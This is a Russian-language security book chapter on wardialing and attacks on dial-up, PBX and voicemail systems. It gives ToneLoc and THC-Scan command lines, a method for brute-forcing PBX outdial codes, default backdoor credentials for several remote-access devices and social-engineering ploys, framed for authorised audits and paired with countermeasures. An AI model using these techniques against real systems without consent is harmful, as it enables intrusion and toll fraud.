Уязвимость удаленных соединений, PBX, VOICEMAIL и виртуальных частных сетей

Обычно организации меньше всего внимания уделяют старым забытым телефонным линиям. Эти провода, опоясавшие весь мир, сегодня преданы забвению. В этой главе будет показано, как старенький модем с пропускной способностью 9600 Кбит в секунду может поставить на колени сетевого Голиафа с мошной системной защитой.
Может показаться, что авторы решили начать главу, посвященную сетевым атакам, с устаревшей информации о хакинге аналоговых удаленных соединений. Несмотря на повсеместное распространение Internet, обычные телефонные сети PSTN (Public Switched Telephone Network) сегодня достаточно часто используются для связи с домашними и даже служебными компьютерами. Поэтому сенсационные истории о взломе узлов Internet меркнут перед более прозаическими рассказами о вторжениях через удаленные соединения, поскольку последние являются более разрушительными и проще выполнимыми.
На самом деле для больших компаний гораздо большую опасность представляют плохо инвентаризованные модемные линии, чем защищенные брандмауэрами шлюзы Internet. Упомянутый выше эксперт в области безопасности компании AT&T Билл Чесвик (Bill Cheswick) охарактеризовал брандмауэр как панцирь черепахи. На самом деле, зачем атаковать неприступный брандмауэр, когда можно пробраться непосредственно к "телу" целевой системы через плохо защищенный сервер удаленного доступа? Пожалуй, защита удаленных соединений — наиболее важный аспект построения линии круговой обороны.
Хакинг удаленных соединений выполняется по классической схеме: сначала выполняется предварительный сбор информации, затем — сканирование, инвентаризация и, наконец, атака. В большинстве случаев этот процесс можно автоматизировать с помощью традиционных хакерских средств, получивших название сканеров телефонных номеров (demon dialer) или программ автопрозвона (wardialer). По существу, эти средства программно устанавливают удаленное соединение с большим количеством телефонных номеров, регистрируют те из них, по которым устанавливаются модемные соединения, пытаются идентифицировать систему на другом конце телефонной линии и по возможности зарегистрироваться в системе, подобрав имя пользователя и пароль. Если для этого требуется специальное программное обеспечение или конкретные знания о системе, установка соединения может выполняться вручную.
Выбор сканера телефонных номеров — камень преткновения как для злоумышленников, так и для легальных специалистов по поиску незащищенных удаленных соединений. В этой главе мы рассмотрим две наиболее популярные программы такого типа, которые можно бесплатно загрузить из Internet (ToneLoc и THC-Scan), а также коммерческий продукт PhoneSweep от компании Sandstorm Enterprises.
После обсуждения этих программ будут рассмотрены приемы, применяемые против обнаруженных сканерами телефонных номеров систем вручную или в автоматическом режиме, в том числе внутренние телефонные сети компаний (сети РВХ) или системы голосовой почты (voicemail).
В завершение мы коснемся другого аспекта систем удаленного доступа и опишем виртуальные частные сети VPN (Virtual Private Networking). Хотя такие сети являются достаточно защищенными и на них возлагаются основные надежды в области развития корпоративных сетей, вопрос безопасности для них — не праздный. К настоящему времени известен лишь один случай взлома таких сетей, который и будет рассмотрен в этой главе наряду с общими рассуждениями о перспективах этой жизненно важной технологии.

Предварительный сбор данных о телефонных номерах


Хакинг удаленных соединений начинается с определения диапазона телефонных номеров, с которыми будет работать сканер. Настоящие хакеры обычно выбирают компанию-жертву и собирают информацию об используемых ею телефонных номерах из самых разных источников. Ниже будут описаны некоторые механизмы для ограничения сферы распространения такой информации.
В первую очередь хакеры изучают телефонные справочники. Многие компании продают компакт-диски с телефонными справочниками, которыми можно воспользоваться для взлома удаленных соединений. Определив основной телефонный номер, взломщики обычно "исследуют" схожие с ним номера. Например, если известно, что основной номер компании Acme Corp. — 555-555-1212, то для сканера телефонных номеров хакер задаст диапазон 555-555-ХХХХ, чтобы проверить все 10000 похожих телефонных номеров. При наличии нескольких модемов такое количество номеров можно перепробовать за несколько дней с помощью почти любой программы-сканера.
Еще один способ получения информации о телефонных номерах — позвонить на местную АТС и попытаться узнать номера "из первых уст" неосмотрительных служащих. Это хороший способ получения неафишируемых номеров, применяемых для удаленных соединений и центров данных, в которых префикс обычно отличается от префикса основного телефонного номера. Многие телефонные компании по требованию клиента заносят эту информацию в разряд секретной и не разглашают ее без предоставления пароля, однако известно множество случаев нарушения таких договоренностей и разглашения информации.
Помимо телефонных справочников, источником подобных сведений являются Web-узлы корпорации. Многие компании, потеряв бдительность от свободы распространения информации в Internet, публикуют списки своих телефонных номеров на Web-узлах. Этого не стоит делать, если только это не обусловлено характером деятельности.
Телефонные номера можно найти в самых неожиданных местах Internet. Одно из наиболее опасных местоположений в смысле накопления информации уже упоминалось в главе 1, однако стоит вернуться к нему еще раз. Сведения о контактных телефонах, а также другую техническую и административную информацию о компаниях, представленных в Internet, можно получить из регистрационной базы данных имен Internet, поддерживаемой центром InterNIC (известной также как Network Solutions), через интерфейс whois по адресу http://www.networksolutions.com/cgi-bin/whois/whois/. Вот результат поиска по ключевому слову acme. com, содержащий как открытую, так и закрытую информацию из базы данных InterNIC.

Registrant: Acme, Incorporated (ACME-DOM)
Princeton Rd. Hightstown, NJ 08520
US Domain Name: ACME.COM
Administrative Contact: Smith,John (JSOOOO) jsmith@ACME.COM
555-555-5555 (FAX) 555-555-5556
Technical Contact, Zone Contact: ANS Hostmaster (AH-ORG)
hostmaster@ANS.NET
(800)555-5555

Теперь хакеры имеют не только хорошую отправную точку для работы сканера телефонных номеров, но и кандидатуру сотрудника (John Smith) под именем которого можно осуществлять свою деятельность по сбору дополнительной информации. Помимо этого некоторую полезную информацию можно почерпнуть из раздела технических контактов. А именно здесь видно, как информация фиксируется в базе данных InterNIC. Это уже кое-что.
И наконец, если вручную набирать подряд любые телефонные номера, то рано или поздно можно услышать: "Корпорация XYZ слушает". Это конечно достаточно утомительный способ предварительного сбора данных, но в то же время очень эффективный. Еще одним слабым звеном в системе телекоммуникации компании являются автоответчики, которые можно использовать против служащих компании. Например, от имени вице-президента компании по вопросам маркетинга можно оставить следующее сообщение системному администратору: "Привет, это Джим. Срочно измени мой пароль".

Устраните утечку информации


Лучшей защитой против предварительного сбора информации по телефону является предотвращение утечки информации. Конечно же, для обеспечения возможности деловых контактов необходимо раздавать телефонные номера компании, но очень осторожно. Свяжитесь со своим оператором и согласуйте с ним перечень открытых телефонных номеров, список лиц, имеющих доступ к закрытой информации, а также пароль для получения каких-либо закрытых данных. Организуйте группу по устранению утечки информации из числа сотрудников отдела информатизации, которая будет следить за тем, чтобы закрытые телефонные номера не распространялись через Web-узлы, службы каталогов, серверы удаленного доступа и т.д. Свяжитесь с компанией InterNIC и "почистите" контактную информацию для зоны Internet. И наконец, предупредите пользователей, что телефон не всегда друг, поэтому нужно быть проявлять осторожность в разговорах с незнакомцами и не разглашать никакую закрытую информацию.

Сканеры телефонных номеров


Процесс подбора телефонных номеров во многом определяется используемыми для этого средствами. Поэтому далее будут охарактеризованы конкретные продукты, такие как ToneLoc, THC-Scan и PhoneSweep, Однако сначала приведем некоторые общие рассуждения.

Аппаратные средства


При подборе телефонных номеров вопрос выбора аппаратных средств не менее важен, чем выбор программного обеспечения. Ниже мы рассмотрим два бесплатных программных средства, предназначенных для операционной системы DOS и снискавших незаслуженную репутацию трудно настраиваемых. Однако для настройки любой программы автопрозвона требуется тонкое знание СОМ-портов компьютера, а на некоторых аппаратных конфигурациях эти программы могут не работать вообще, например на переносном компьютере с интерфейсом PCMCIA. Конечно же, не стоит переоценивать требования к аппаратным средствам: типичный персональный компьютер с двумя стандартными СОМ-портами и последовательной платой для добавления еще двух вполне подойдет для этих целей. В то же время, для профессиональной системы автопрозвона можно установить многопортовую карту Digitboard, позволяющую подключить к системе от 4 до 8 модемов одновременно.
Аппаратные средства — главный фактор, определяющий скорость и эффективность. Сканеры телефонных номеров могут быть излишне осторожными: зачастую перед набором следующего номера они выдерживают паузу в несколько секунд, чтобы не упустить потенциальную цель из-за помех на линии или других факторов. Если период ожидания составляет 45-60 секунд, то программа автопрозвона на каждый звонок тратит примерно минуту. Путем несложных арифметических вычислений можно определить, что для проверки диапазона в 10000 номеров одному модему понадобится семь полных суток. Очевидно, что добавление каждого нового модема существенно ускоряет процесс — четыре модема работают вдвое быстрее, чем два. Поскольку подбор номеров можно выполнять только в непиковое время (см. следующий раздел), то чем больше модемов задействовано в этой операции — тем лучше.
Значительное влияние на скорость процесса оказывает также тип модема. Современные модемы, как правило, голосовые. Определение голоса позволяет при подборе номера сразу же зарегистрировать номер телефона как "голосовой", отключиться и продолжать дозвон по следующему номеру, не ожидая истечения заданного интервала времени (45-60 секунд). Поскольку значительная доля телефонных номеров выделена для голосовых линий, то их обнаружение значительно ускоряет процесс подбора номера телефона для модемных соединений. В документации к обеим программам THC-Scan и PhoneSweep рекомендуется использовать модем USR Courier, как наиболее надежный. Кроме того, в документации по THC-Scan рекомендуется также использовать модем Zyxel Elite, а в документации по PhoneSweep — Zyxel U-1496E fax/Voice.

Легализация деятельности


Наряду с вопросами выбора аппаратной платформы для подбора номеров потенциальные взломщики серьезно рассматривают вопросы законности своей деятельности. В некоторых странах запрещено последовательно набирать большое число номеров, и телефонные компании внимательно следят за соблюдением этого требования, а зачастую их оборудование попросту не позволяет этого делать. Конечно же, все рассматриваемые здесь программы разбивают заданный диапазон номеров на случайные интервалы, чтобы избежать нарушения таких требований, но это все же не гарантирует от попадания в "черный список". Поэтому специалисты, занимающиеся подобной деятельностью на законных основаниях, должны легализовать свои действия и получить письменное разрешение от компании-заказчика на проведение такого тестирования. В этом документе необходимо указать диапазон сканируемых телефонных номеров, чтобы возложить ответственность за выход из диапазона на выполняющую подбор номера организацию.
В соглашении необходимо также указать время суток, когда компания-заказчик предпочитает выполнять тестирование. Как уже упоминалось, сканирование телефонных номеров в рабочее время может негативно отразиться на эффективности работы компании, поэтому такую деятельность обычно откладывают на поздний вечер или ночное время.

Помните, что сканирование телефонных номеров с включенным идентификатором CallerlD, означающим возможность автоматического определения номера, равнозначно передаче визитной карточки по каждому из набираемых вами номеров. Многократное повторение звонков из одного источника вызовет подозрение у целевой компании, поэтому стоит отключить режим автоматического определения номера на своей телефонной линии (конечно же, если у вас есть разрешение на подобную деятельность, то это не критично). Не следует забывать и том, что при звонках по номерам с префиксом 800 номер звонившего фиксируется в любом случае независимо от статуса CallerlD, поскольку в этой ситуации разговор оплачивается отвечающей стороной.

Стоимость телефонных переговоров


И наконец, не забывайте о том, что подбор номеров удаленных целевых организаций оплачивается по междугородному тарифу телефонных переговоров. Поэтому приготовьтесь к получению значительных счетов за телефонные переговоры и заранее согласуйте вопрос их оплаты с заказчиком.
В следующих разделах будут подробно рассмотрены вопросы настройки каждого программного средства, чтобы читатели смогли легко воспользоваться этими программами. Однако в книге будут описаны далеко не все возможности этих программ.

Программное обеспечение


Поскольку сканирование телефонных номеров обычно выполняется ночью в течение небольших интервалов времени, то важным требованием к соответствующим программам является возможность гибкой настройки графика работы и запоминания уже отсканированных номеров. Бесплатные программы ToneLoc и THC-Scan регулярно сохраняют результаты своей работы в файлах данных, обеспечивая тем самым возможность продолжения работы после последующего перезапуска. Кроме того у них есть определенные средства для задания времени начала и окончания работы в течение одних суток. Однако для выполнения длительных операций сканирования в течение нескольких дней пользователь должен полагаться на возможности операционной системы по планированию выполнения заданий или написать специальный сценарий. Программа PhoneSweep позволяет полностью автоматизировать режим работы.
Может показаться, что авторы предвзято относятся к программам ToneLoc и THC-Scan, однако они стараются быть объективными. Конечно, коммерческая программа PhoneSweep значительно облегчит жизнь консультантам по безопасности, которым необходимо получить максимальный результат ценой минимальных усилий. Возможности этой программы соответствуют ее цене, поэтому не стоит отказываться и от услуг бесплатных программ ToneLoc и THC-Scan. При регулярной интенсивной работе PhoneSweep себя окупает, однако не имеет смысла платить деньги, если аудит приходится выполнять лишь раз в полгода.

Программа ToneLoc


Одной из первых и наиболее популярных программ телефонного сканирования является утилита ToneLoc компании Minor Threat&Mucho Maas (название ToneLoc расшифровывается как Tone Locator). Эту программу можно найти на узле компании, а также на множестве хакерских узлов в Internet. Подобно многим программам-номеронабирателям, ToneLoc работает под управлением DOS (или в окне DOS операционной системы Win 9x или NT), а также с эмулятором DOS в UNIX. В течение многих лет эта утилита являлась эффективным средством для хакеров и консультантов по безопасности. К сожалению, создатели ToneLoc не следят за обновлением своей программы, и никто из сообщества специалистов по безопасности не принимал участия в ее разработке. Поэтому для оценки защищенности Web-узла лучше использовать более робастную программу THC-Scan.
Программу ToneLoc легко установить и применять для базовых операций телефонного сканирования, однако использование расширенных возможностей этой программы требует некоторых навыков. Сначала из командной строки необходимо запустить простую утилиту TLCFG, выполняющую запись основных параметров конфигурации модема в файл TL.CFG, проверяемый при запуске ToneLoc (при этом должны быть установлены порт СОМ, адрес порта ввода-вывода и номер прерывания). Окно программы TLCFG.EXE показано на рис. 9.1.
После этого из командной строки можно запустить саму программу ToneLoc, указав диапазон сканируемых телефонных номеров, имя файла данных для записи результатов и любые другие опции в следующем формате.

ToneLoc [ФайлДанных] /М:[Маска] /R:[Диапазон]
/X:[ИскМаска] /D:[ИскДиапазон]
/С:[Коифиг] /#:[Число] /S:[ВремяНачала] /Е:[ВремяЭаверш]
/Н:[Часы] /Т /К

[ФайлДанных] - файл для хранения данных (возможно, маска)
[Маска] - Маска для телефонных номеров в формате 555-ХХХХ
[Диапазон] - диапазон телефонных номеров в формате 5000-6999
[ИскМаска} - маска для исключения из сканирования в формате 1ХХХ
[ИскДиапазон] - диапазон для исключения из сканирования в формате 2500-2699
[Конфиг] - используемый файл конфигурации
[Число] - количество выполняемых звонков в формате 250
[ВремяНачала]- время начала сканирования в формате 9:30р
[ВремяЗаверш]- время завершения сканирования в формате 6:45а
[Часы] - максимальное число часов сканирования в формате 5:30
(перекрывает [ВремяЗаверш])
/Т = Tones, /К = Carriers (перекрывают данные файла конфигурации).

Как будет видно из последующего материала, утилита THC-Scan использует очень близкий список параметров. В приведенном ниже примере утилита ToneLoc будет сканировать все телефонные номера от 555-0000 до 555-9999 и записывать информацию в файл test. На рис. 9.2 показана программа ToneLoc в действии.
toneloc test /M:555-ХХХХ /R:0000-9999
Утилита ToneLoc имеет множество других возможностей для более искушенных пользователей, описанных в руководстве пользователя (TLUSER.DOC), однако для выполнения базовых операций по подбору номера перечисленных параметров вполне хватает. Приведем еще один параметр, задающий период ожидания и используемый для тестирования сетей РВХ. Этот параметр позволяет дождаться гудка после набора основного номера и ввести код для выполнения исходящих звонков из внутренней телефонной станции РВХ.
toneloc test /M:555-XXXXWxxx
При таком формате команды набирается номер 555-9999, затем делается пауза для появления гудка, а затем проверяются все возможные комбинации из трех цифр (ххх) для получения кода для выполнения исходящих звонков из сети РВХ. Утилита ToneLoc может угадывать даже четырехзначные коды. Возможно, это убедит читателей в опасности использования удаленных соединений с сетями РВХ или хотя бы заставит использовать более длинные коды.

Программа THC-Scan


Слабые стороны утилиты ToneLoc компенсирует программа THC-Scan, созданная членом хакерской группы The Hacker's Choice из Германии Ван Хаузером (van Hauser) (http://www.infowar.co.uk/thc/). Подобно ToneLoc, утилита THC-Scan тоже настраивается и запускается в операционной системе DOS, в окне DOS Win 9x или с консоли Windows NT, а также с использованием эмулятора Dos под UNIX.



Рис. 9.1. Использование программы TLCFG.EXE дм ввода конфигурационных параметров модема, применяемой утилитой ToneLoc



Рис. 9.2. Утилита ToneLoc в процессе сканирования большого числа телефонных номеров в поисках других модемов

Перед использованием утилиты THC-Scan сначала с помощью программы TS-CFG необходимо сгенерировать файл конфигурации (. CFG). Эта утилита конфигурации имеет более широкие возможности, чем программа TLCFG для ToneLoc. Большинство параметров конфигурации достаточно просты, но для нестандартной настройки потребуются исчерпывающие знания СОМ-портов. Основные параметры конфигурации перечислены в следующей таблице

Порт СОМ
Номер прерывания
Порт ввода-вывода
1
4
3F8
2
3
2F8
3
4
ЗЕ8
4
3
2Е8

Для определения этих параметров применяется утилита MOD-DET, включенная в комплект поставки THC-Scan (на сообщения Windows об ошибках можно не обращать внимания), результат работы которой выглядит следующим образом.

MODEM DETECTOR v2.00 (c) 1996,98 by van Hauser/THC
<vh@ reptile.rug.ac.be>
Get the help screen with : MOD-DET.EXE ?
Identifying Options...
Extended Scanning : NO
Use Fossil Driver : NO
(Fossil Driver not present)
Slow Modem Detect : YES
Terminal Connect : NO
Output Filename : <none>
Autodetecting modems connected to COM 1 to COM 4 ...
COM 1 - None Found
COM 2 - Found! (Ready)
[Irq: 3 | BaseAdress: $2F8]
COM 3 - None Found
COM 4 - None Found
1 Modem(s) found.

После создания файла конфигурации . CFG можно приступать к сканированию телефонных номеров. Синтаксис команды THC-Scan очень напоминает формат ToneLoc и имеет лишь несколько отличий. (Перечень возможных параметров слишком велик, поэтому здесь он приводиться не будет. Его можно найти в четвертой части руководства THC-SCAN.DOC, входящего в комплект поставки программы.) Даже в процессе работы THC-Scan очень напоминает утилиту ToneLoc (рис. 9.3).



Рис. 9.3. Сканирование телефонных номеров с помощью утилиты THC-Scan

Установка режима сканирования выполняется вручную с помощью ключей /s и /Е, задающих время начала и окончания процесса соответственно. Для повторения этого процесса каждый день нужно использовать встроенные средства планирования заданий операционной системы, например команду AT службы Scheduler системы Windows NT. Авторы книги обычно записывают параметры запуска THC-Scan в простой командный файл, который затем вызывается программой AT Scheduler. При планировании графика работы утилиты THC-SCAN.EXE необходимо помнить, что соответствующий файл конфигурации . CFG обязательно должен находиться в текущем каталоге, если не задана опция /!. Поскольку служба Scheduler запускает команды из каталога %systemroot%, для файла конфигурации утилиты THC-SCAN.EXE необходимо задать абсолютный путь, как показано в следующем примере.
Приведем пример командного файла thc.bat.

@@echo off
rem Make sure thc-scan.exe is in path
rem absolute path to .cfg file must be specified with /! switch if run
from AT scheduler
rem if re-running a scan, first change to directory with appropriate .DAT
file and delete /P: argument
C:\thc-scan\bin\THC-SCAN.EXE test /M:555-xxxx /R:0000-9999
/!:C:\thc-scan\bin\THC-SCAN.CFG /P:test /F /3:20:00 /E:6:00

После запуска этого командного файла утилита THC-Scan будет выполнять сканирование с 8 часов вечера до 6 часов утра. С помощью следующей команды можно обеспечить ежедневный запуск утилиты:

at 7:58P /interactive /every:1 C\:thc-scan\bin\thc.bat

Утилита THC-Scan создает файл данных . DAT и считывает из него информацию за предыдущие дни до тех пор, пока не отсканирует все номера диапазона. Не забудьте удалить всю информацию, оставшуюся после завершения работы утилиты THC-Scan, с помощью команды at /delete.
Для пользователей, выполняющих сканирование телефонных номеров с помощью нескольких модемов или нескольких клиентов сети автор утилиты написал простой командный файл NETSCAN.BAT, содержащийся в архиве THC-MISC.ZIP, входящем в комплект поставки утилиты. Внеся в этот файл небольшие изменения, описанные во второй части руководства THC-SCAN.DOC, этот сценарий можно использовать для автоматического деления диапазона телефонных номеров и создания отдельных DAT-файлов для каждого клиента или модема. Чтобы настроить утилиту THC-Scan для использования нескольких модемов, выполните следующие действия.
1. Создайте для каждого модема отдельный каталог, поместите в него копию утилиты THC-Scan и файл конфигурации, соответствующий этому модему.
2. Внесите изменения в файл NETSCAN.BAT, описанные в руководстве THC-SCAN.DOC. Количество модемов задайте в строке SET CLIENTS=, расположенной в разделе [2] командного файла NETSCAN.BAT.
3. Введите команду netscan.bat [маска соединения] [число модемов].
4. Поместите каждый файл . DAT в каталог соответствующего модема. Например, при использовании команды netscan 555-XXXX 2 для двух модемов результирующий файл 2555xxxx.DAT поместите в каталог, соответствующий модему № 2 (например, \thc-scan\bin2).
При поиске телефонных номеров, используемых для модемных соединений, утилита THC-Scan может отправлять ответившему модему несколько строк, заданных в файле конфигурации. Этот режим можно установить с помощью параметра carrier Hack Mode утилиты TS-CFG, а само содержимое этих строк — с помощью параметра Nudge. По умолчанию предлагается следующее сообщение.

^~^~^~^~^~^M^~^M?^M^~help^M^~^~^~guest^M^~guest^М^~INFO^M^MLO

(^~ означает паузу, а ^М — возврат каретки). Стандартный текст сообщения во многих случаях работает достаточно хорошо, но для достижения конкретной цели этот текст можно изменить.
По завершении процесса сканирования необходимо проанализировать различные журналы. Важным преимуществом утилиты THC-Scan является возможность записи вводимой информации в текстовый файл, пригодный для использования в дальнейшем. Однако в процессе управления данными много информации приходится вводить вручную. Утилита THC-Scan может генерировать огромные объемы информации для последующего анализа, включая список отсканированых телефонных номеров, найденные модемы, выявленные типы систем и т.д. Вся эта информация записывается в файлы трех типов: DAT-файлы, файлы базы данных . D3, которые затем можно импортировать в ODBC-совместимую базу данных (эта опция задается с помощью ключа /F), и несколько LOG-файлов, содержащих списки телефонных номеров, которые были заняты, по которым ответил модем, а также перечень откликов модемов. Файл базы данных можно анализировать в любой системе управления базой данных, но в нем отсутствует информация об откликах модемов. Информация об откликах модемов содержится в журнале CARRIERS . LOG, и ее согласование с информацией базы данных надо проводить вручную. Такой анализ приглашений ответившей системы все равно зачастую приходится выполнять вручную для дальнейшего проникновения в систему, однако для больших диапазонов сканируемых номеров очень сложно вручную составить исчерпывающий отчет, отражающий основные результаты.
Вопрос управления данными значительно усложняется при использовании нескольких модемов. Как видно из описанного выше процесса, для каждого модема настраивается и запускается свой экземпляр утилиты THC-Scan и общий диапазон телефонных номеров нужно вручную разделить между модемами. Результирующие DAT-файлы можно объединить с помощью утилиты DAT-MERGE.EXE, входящей в комплект поставки утилиты THC-Scan, однако файлы журналов регистрации ответов модемов тоже нужно объединять вручную.
Невзирая на эти неудобства, утилита THC-Scan является чудесным бесплатным средством для телефонного сканирования и ее автор достоин наилучших слов благодарности. Как будет видно из последующего материала, продукты, обладающие большей простотой и эффективностью, стоят достаточно дорого.

Программа PhoneSweep


Если, с вашей точки зрения, использование утилиты THC-Scan требует слишком больших усилий, то вам подойдет программа PhoneSweep. Эту программу распространяет компания Sandstorm Enterprises (http://www.sandstorm.net). Вопросам установки и использования бесплатных программ телефонного сканирования было уделено достаточно много внимания. Рассказ о PhoneSweep будет значительно короче, поскольку практически все понятно из самого интерфейса пользователя (рис. 9.4).
Основными преимуществами PhoneSweep являются простой графический интерфейс, автоматическое планирование заданий, возможность проникновения в систему, одновременная поддержка нескольких модемов и изящная отчетность. Для каждого модема задается диапазон номеров (профиль) . Текущая версия программы поддерживает до четырех модемов. С помощью флажков Business Hours, Outside Hours и Weekends утилиту PhoneSweep легко настроить для использования в рабочее время, нерабочие часы и выходные, как показано на рис. 9.5. Конкретные часы рабочего времени задаются во вкладке Options>Time. Утилита PhoneSweep будет непрерывно выполнять сканирование в указанный период времени (обычно это нерабочее время или выходные, задаваемые флажками Outside Hours и Weekends) до тех пор, пока не будет проверен весь диапазон.
Утилита PhoneSweep различает 205 различных типов устройств удаленного доступа (их полный список приводится по адресу http://www.sandstorm.net/phoneswep/ sysids.shtml). Она выполняет идентификацию, сравнивая текстовые или бинарные строки, получаемые в качестве отклика модема, с базой данных известных откликов. Если отклик модема настраивался вручную, то утилита PhoneSweep его не распознает. Чтобы обеспечить идентификацию всех возможных систем, нужно включить в отчет все отклики всех возможных модемов, а затем проанализировать этот список вручную.



Рис. 9.4. Графический интерфейс утилиты PhoneSweep значительно превосходит возможности интерфейса бесплатных программ и включает множество средств, повышающих эффективность и облегчающих использование



Рис. 9.5. Утилита PhoneSweep позволяет легко настраивать график работы

Помимо выявления стандартных модемов, утилита PhoneSweep позволяет реализовывать типичные атаки против них. В текстовом файле bruteforce.txt, расположенном в каталоге приложения, содержится перечень имен пользователей и паролей, которые передаются в ответ на приглашение модема. Если соединение разрывается, утилита PhoneSweep снова набирает номер и пробует воспользоваться следующим вариантом отклика, пока не будет исчерпан весь список (используя эту утилиту для тестирования защищенности своего сервера удаленного доступа, остерегайтесь возможности блокирования учетной записи). Одно только это средство стоит денег, затраченных на покупку PhoneSweep, поскольку позволяет автоматизировать операции. которые обычно выполняются вручную (см. следующий раздел).
Еще одним важным преимуществом утилиты PhoneSweep является встроенная база данных SQL для регистрации результатов сканирования. Благодаря ее наличию отпадает необходимость просмотра текстовых файлов вручную или приведения данных из разных форматов к единому формату электронных таблиц (что приходится делать при использовании бесплатных программ). Здесь имеется лишь один шаблон отчета, однако он очень изящен, содержит действительно полезную информацию в табличном виде, а также возможность добавления в отчет откликов идентифицированных модемов (приложение А) и всего списка телефонных номеров (приложение В) в формате RTF. Фрагмент отчета утилиты PhoneSweep приведен на рис. 9.6.
Конечно, основным отличием между PhoneSweep и бесплатными программами является цена. Во время написания этой книги существовало две версии программы PhoneSweep: PhoneSweep Basic, поддерживающая один модем и до 800 номеров на профиль стоимостью $980 (стоимость дополнительной поддержки этой версии в течение года составляет $196), и PhoneSweep Plus, поддерживающая до 4 модемов и 10000 номеров на каждый профиль стоимостью $2800 (стоимость дополнительной поддержки этой версии в течение года составляет $560). Для защиты от нелицензионного копирования программы используется аппаратная заглушка, подключаемая к параллельному порту, без которой программа не работает. Учитывая стоимость усилий, затраченных на установку, настройку и обработку результатов бесплатных программ, цена $2800 выглядит не столь устрашающе.



Рис. 9.6. Небольшой фрагмент отчета утилиты PhoneSweep одновременно демонстрирует уровень детализации и обобщения результатов единственного встроенного шаблона отчета

Интересные результаты сравнения программ PhoneSweep и THC-Scan, полученные, из заинтересованного источника — от компании Sandstorm Enterprises, Inc., можно найти по адресу http: //geek-girl. com/bugtraq/1998_4/0770 .html.
Но какое бы средство мы ни выбрани, важно понимать, что мы хотим получить в итоге. Об этом будет рассказано в следующем разделе.

Способы проникновения в систему через модем


Сканирование телефонных номеров преследует цель выявить потенциальные точки для последующего вторжения в систему через модемное соединение, однако чаще всего для определения степени уязвимости удаленного соединения требуется внимательный анализ отчетов. Например, из следующего фрагмента файла CARRIERS . LOG, сгенерированного утилитой THC-Scan, видны типичные отклики модемов. Для краткости этот файл несколько подредактирован. Подобные данные содержатся и в приложении А отчета утилиты PhoneSweep.

23-05-1997 14:57:50 Dialing... 95552851
CONNECT 57600
НР995-400:_
Expected a HELLO command. (CIERR 6057)
23-05-1997 20:08:39 Dialing... 95552349
CONNECT 57600
@ Userid:
Password?
Login incorrect
23-05-1997 21:48:29 Dialing... 95552329
CONNECT 57600
Welcome to 3Com Total Control HiPer ARC (TM)
Networks That Go The Distance (TM)
login:
Password:
Login Incorrect
23-05-1997 21:42:16 Dialing... 95558799
CONNECT 57600
._Please press <Enter>..._I
PJack Smith_JACK SMITH
[CARRIER LOST AFTER 57 SECONDS]

Авторы умышленно выбрали эти примеры, чтобы показать неоценимое значение опыта работы с различными серверами удаленных соединений и операционными системами. Например, первый отклик, похоже, поступил от системы HP (HP995-40C), однако последующая строка с информацией о команде HELLO выглядит странновато. При установке соединения с этой системой вручную с помощью стандартного программного обеспечения (авторы книги предпочитают программу Procomm Plus, распространяемую компанией Symantec Corp, и представленную по адресу http://www.Symantec, соm/рrосоrоm/procomm.html, поскольку с ее помощью можно эмулировать терминал VT-100 на основе протокола ASCII) пользователя ожидает столь же непонятный результат. Для прояснения ситуации взломщик должен быть знаком с системами МРЕ-XL от Hewlett-Packard и знать, что в ответ на приглашение нужно ввести команду HELLO имя. ПОЛЬЗ, а затем пароль. Поэтому имеет смысл воспользоваться утилитой Procomm Plus и ввести следующую информацию.

CONNECT 57600
НР995-400: HELLO FIELD.SUPPORT
PASSWORD» TeleSup

В качестве имени пользователя и пароля в HP-системах по умолчанию применяются FIELD. SUPPORT и TeleSup соответственно. Таким образом, при наличии богатого опыта и затрате минимальных усилий можно выявить бреши в таких местах, где неподготовленные пользователи обнаружат лишь непробиваемую стену.
Второй пример отклика в приведенном фрагменте отчета несколько проще. Синтаксис @Userid свидетельствует об обнаружении сервера удаленного доступа LANRover производства компании Shiva Corp. (теперь она является частью корпорации Intel). Утилита PhoneSweep автоматически определяет системы LANRover по этой строке. На основе этой информации и в результате изучения Web-узла http: //www.shiva.com хакер сможет узнать, что системы LANRover можно сконфигурировать для аутентификации удаленных пользователей. При этом зачастую используется имя пользователя supervisor или admin с паролем NULL. Вы даже представить себе не можете, как часто такие данные срабатывают против ленивых администраторов.
Третий пример демонстрирует, насколько полезными могут оказаться даже элементарные знания о производителе и модели системы. Широко известно, что для устройств удаленного доступа 3Com TotalControl HiPer ARC существует "резервная" учетная запись adm с паролем NULL (http://geek-girl.com/bugtraq/1998_4/0682.html). Поэтому такие системы являются широко открытыми (если этот просчет еще не устранен).
В последнем примере зафиксирован отклик программы управления удаленным доступом pcAnywhere от компании Symantec. Если владелец системы Джек Смит не поленился установить хотя бы символический пароль, то система практически неуязвима. Но двое из троих пользователей pcAnywhere игнорируют подобные меры (и это действительно так!). Более подробная информация о pcAnywhere и других подобных программах содержится в главе 13.
Выше уже упоминалось о том, что интерес для хакеров представляют не только модемы, но и сети РВХ, а также системы голосовой почты. В частности, системы РВХ, сконфигурированные для обеспечения удаленных исходящих соединений, при вводе корректного кода отвечают гудком (см. выше описание программы ToneLoc). Поэтому при неправильной настройке эти средства обеспечивают взломщику возможность совершения телефонных звонков в любую точку мира за чужой счет. Не забывайте об этом, проверяя защищенность своей системы.
Описание всевозможных откликов удаленных систем могло бы занять всю оставшуюся часть этой книги, однако даже из этого краткого примера видно, какие типы систем можно обнаружить при проверке защищенности вашей организации. Помните о возможных брешах в защите и консультируйтесь со специалистами, включая разработчиков.
А что делать, если имя пользователя и пароль угадать не удается? Тогда следует попробовать атаковать в лоб. Как уже отмечалось, утилита PhoneSweep содержит встроенные средства подбора пароля, но не исчерпывает всех возможностей. Можно воспользоваться другими средствами, например Login Hacker от ТНС, представляющим собой компилятор языка сценариев и включающим несколько примеров таких сценариев. Авторам книги приходилось видеть и сложные сценарии, написанные на языке ASPECT, компании Procomm Plus. Эти программы трижды пытаются угадать пароль, Снова устанавливают соединение при его разрыве целевой системой и т.д. Однако такое вмешательство для удаленных систем нежелательно и даже противоправно, если эти попытки предпринимаются без согласия владельца системы.

Доморощенный способ: примитивное написание сценариев


После получения результатов сканирования телефонных номеров нужно систематизировать их в так называемые домены (domain). Как уже отмечалось, неоценимую помощь в этом окажет опыт работы с различными типами серверов удаленных соединений и операционных систем. Выбор системы для последующего проникновения зависит от множества факторов, в том числе от того, сколько времени хакер готов посвятить своим экспериментам, какая полоса пропускания имеется в его распоряжении, а также от его интуиции и профессионализма в написании сценариев.
